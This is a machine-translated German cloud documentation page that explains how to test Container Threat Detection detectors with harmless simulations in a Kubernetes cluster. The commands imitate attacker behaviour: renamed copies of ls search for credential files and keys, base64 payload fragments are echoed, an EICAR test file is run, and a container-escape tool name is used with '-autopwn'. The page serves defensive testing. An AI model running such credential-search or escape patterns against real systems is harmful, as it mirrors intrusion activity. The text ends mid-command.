Diese Seite wurde von der Cloud Translation API übersetzt.

Container Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Container Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Container Threat Detection ist ein integrierter Dienst der Premium- und Enterprise-Stufen von Security Command Center. Zum Anzeigen der Container Threat Detection-Ergebnisse muss sie in den Einstellungen von Security Command Center für Dienste aktiviert sein.

Hinweis

Um potenzielle Bedrohungen für Ihre Container zu erkennen, müssen Sie darauf achten, dass Ihre Cluster auf einer unterstützten Version von Google Kubernetes Engine (GKE) basieren. Weitere Informationen finden Sie unter Unterstützte GKE-Version verwenden.

Detektoren aktivieren

Die folgenden Detektoren sind standardmäßig deaktiviert:

Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container

Um diese Detektoren zu testen, müssen Sie sie explizit aktivieren:

Prüfen Sie den Status des Detektors:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Aktivieren Sie den Detektor Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Aktivieren Sie den Detektor Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Aktivieren Sie den Detektor Credential Access: Find Google Cloud Credentials:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Aktivieren Sie den Detektor Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Aktivieren Sie den Detektor Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Aktivieren Sie den Detektor Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Die folgenden Variablen werden zum Testen aller Container Threat Detection-Detektoren verwendet.

Rufen Sie die Google Cloud Console auf.

Zur Google Cloud Console
Wählen Sie das Projekt aus, das den Container enthält, den Sie testen möchten.
Klicken Sie auf Google Cloud Shell aktivieren.
Legen Sie in Cloud Shell Umgebungsvariablen fest:
1. Die Zone, in der sich der Cluster befindet:
```
export ZONE=CLUSTER_ZONE
```
2. Das Projekt, in dem sich der Container befindet:
```
export PROJECT=PROJECT_ID
```
3. Ihr Clustername:
```
export CLUSTER_NAME=CLUSTER_NAME
```

Die Variablen werden festgelegt. Die folgenden Abschnitte enthalten Anleitungen zum Testen von Container Threat Detection-Detektoren.

Ausgeführte Binärdatei hinzugeführt

Fügen Sie eine Binärdatei in Ihren Container ein und führen Sie sie aus, um ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die Kopie der Binärdatei nicht Teil des ursprünglichen Container-Images war, auch wenn das Image unter Ubuntu 24.04 ausgeführt wird und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

ARM-Knoten:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Binärdatei ausgeführt" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Binärdatei ausgeführt“ von Container Threat Detection beim Erstellen eines Containers vorübergehend gefiltert. Wenn Sie alle Ergebnisse des Typs „Hinzugefügte Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Hinzugefügte Mediathek geladen

Ziehen Sie eine Bibliothek in den Container und laden Sie sie, um ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /lib/x86_64-linux-gnu/libc.so.6 an einen anderen Speicherort kopiert und dann mit ld geladen. Die geladene Bibliothek ist unerwartet, da die Kopie der Bibliothek nicht Teil des ursprünglichen Container-Images war, auch wenn sich das Image unter Ubuntu 24.04 befindet und Container unveränderlich sind.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Mediathek ab und laden Sie sie mit ld:

x86-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

ARM-Knoten:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Mit diesem Testverfahren wird ein Ergebnis des Typs "Hinzugefügte Bibliothek geladen" erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ von Container Threat Detection vorübergehend gefiltert, wenn Sie einen Container erstellen. Wenn Sie alle Ergebnisse des Typs „Hinzugefügte Bibliothek geladen“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen das Präfix ktd-test voran, wie im Beispiel.

Command and Control: Steganographie-Tool erkannt

Um ein Ergebnis des Typs Command and Control: Steganography Tool Detected (Vorschau) auszulösen, muss eine Binärdatei mit Funktionen zur Dateimanipulation, die mit Steganografietools übereinstimmen, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in steghide umbenannt (oder ein anderes Steganografie-Tool wie stegano verwendet). Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, einen Container zum Verbergen oder Extrahieren von Daten vorzubereiten, möglicherweise zu böswilligen Zwecken.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für ein Steganographie-Tool wie steghide aus:

x86-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

ARM-Knoten:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Bei diesem Testverfahren wird ein Ergebnis des Typs Command and Control: Steganography Tool Detected erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Finden Google Cloud Anmeldedaten

Damit ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials ausgelöst wird, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in grep umbenannt. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf eine Form von Google Cloud Anmeldedaten hinweist. Diese Aktion wurde als verdächtig gekennzeichnet, da sie dem Verhalten ähnelt, das beim Versuch beobachtet wurde, Google Cloud -Anmeldedaten zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

ARM-Knoten:

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Mit diesem Testverfahren wird ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Damit ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance ausgelöst wird, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find um (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die auf Passwörter oder Secrets hindeuten. Diese Aktion wird als verdächtig eingestuft, da sie dem Verhalten ähnelt, das beim Versuch, GPG-Sicherheitsschlüssel zu finden, beobachtet wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

ARM-Knoten:

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Mit diesem Testverfahren wird ein Ergebnis des Typs Credential Access: GPG Key Reconnaissance erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Damit ein Ergebnis des Typs Credential Access: Search Private Keys or Passwords ausgelöst wird, muss in einem Container ein Binärprogramm ausgeführt werden, das Dateiinhalte durchsuchen kann. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find um (oder in ein anderes geeignetes Suchdienstprogramm wie grep). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster angeben, das auf private Schlüssel oder Passwörter hinweist, oder mit Inhaltsmustern, die auf Passwörter oder Secrets hindeuten. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, vertrauliche Informationen wie private Schlüssel oder Passwörter in einer Containerumgebung zu finden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

ARM-Knoten:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Mit diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Umgehung von Abwehrmaßnahmen: Base64-codierte ELF-Cmdline-Dateien

Damit ein Defense Evasion: Base64 ELF File Command Line-Ergebnis ausgelöst wird, muss ein Prozess base64 als Argument und f0VMRgIB als Argument haben, das die Base64-codierte Form von ELF ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. base64 wird dann mit den Argumenten -d und f0VMRgIB ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Mit diesem Testverfahren werden zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse erstellt, die Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren. Es werden zwei Ergebnisse erstellt, da sowohl der ursprüngliche bash -c-Befehl als auch die Ausführung des base64 -d-Befehls die Kriterien für Ergebnisse erfüllen.

Umgehung von Abwehrmaßnahmen: Base64-codiertes Python-Script ausgeführt

Damit ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und aW1wb3J0IH als Argument haben, das die base64-codierte Form von python -c ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument aW1wb3J0IH ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Mit diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Umgehung von Abwehrmaßnahmen: Base64-codiertes Shell-Script ausgeführt

Damit ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und IyEvYmluL2Jhc2gK als Argument haben, das die base64-codierte Form von #!/bin/bash ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument IyEvYmluL2Jhc2gK ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

ARM-Knoten:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Mit diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Umgehung von Abwehrmaßnahmen: Compiler-Tool für Code im Container gestartet

Wenn Sie ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container (Vorschau) auslösen möchten, muss ein Code-Compiler-Tool in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Dabei wird /bin/ls kopiert und in gcc10 (oder einen anderen Compiler wie clang) umbenannt. Dieses Verhalten wird als verdächtig eingestuft, da es auf einen Versuch hindeuten kann, schädlichen Code im Container zu kompilieren und auszuführen, um die Erkennung zu umgehen oder das Verhalten des Containers zu ändern.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie eine Compiler-Binärdatei wie gcc10 mit den entsprechenden Argumenten aus:

x86-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

ARM-Knoten:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Bei diesem Testverfahren wird ein Ergebnis des Typs Defense Evasion: Launch Code Compiler Tool In Container erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, fügen Sie eine schädliche Binärdatei in Ihren Container ein und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Image war und die Binärdatei eine EICAR-Testdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

ARM-Knoten:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung werden Ergebnisse des Typs „Ausführung: Schädliche Binärdatei ausgeführt“ von Container Threat Detection vorübergehend gefiltert, wenn Sie einen Container zum ersten Mal erstellen. Wenn Sie alle Ergebnisse des Typs „Ausführung: Schädliche Binärdatei ausgeführt“ sehen möchten, während ein Container eingerichtet wird, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis des Typs „Ausführung: Container Escape“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da diese Ausführung ein Verhalten simuliert, das mit einem Container-Escape-Versuch übereinstimmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Legen Sie eine Binärdatei für ein Container-Exploitation-Tool wie botb-linux-amd64 ab und führen Sie sie aus:

x86-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

ARM-Knoten:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
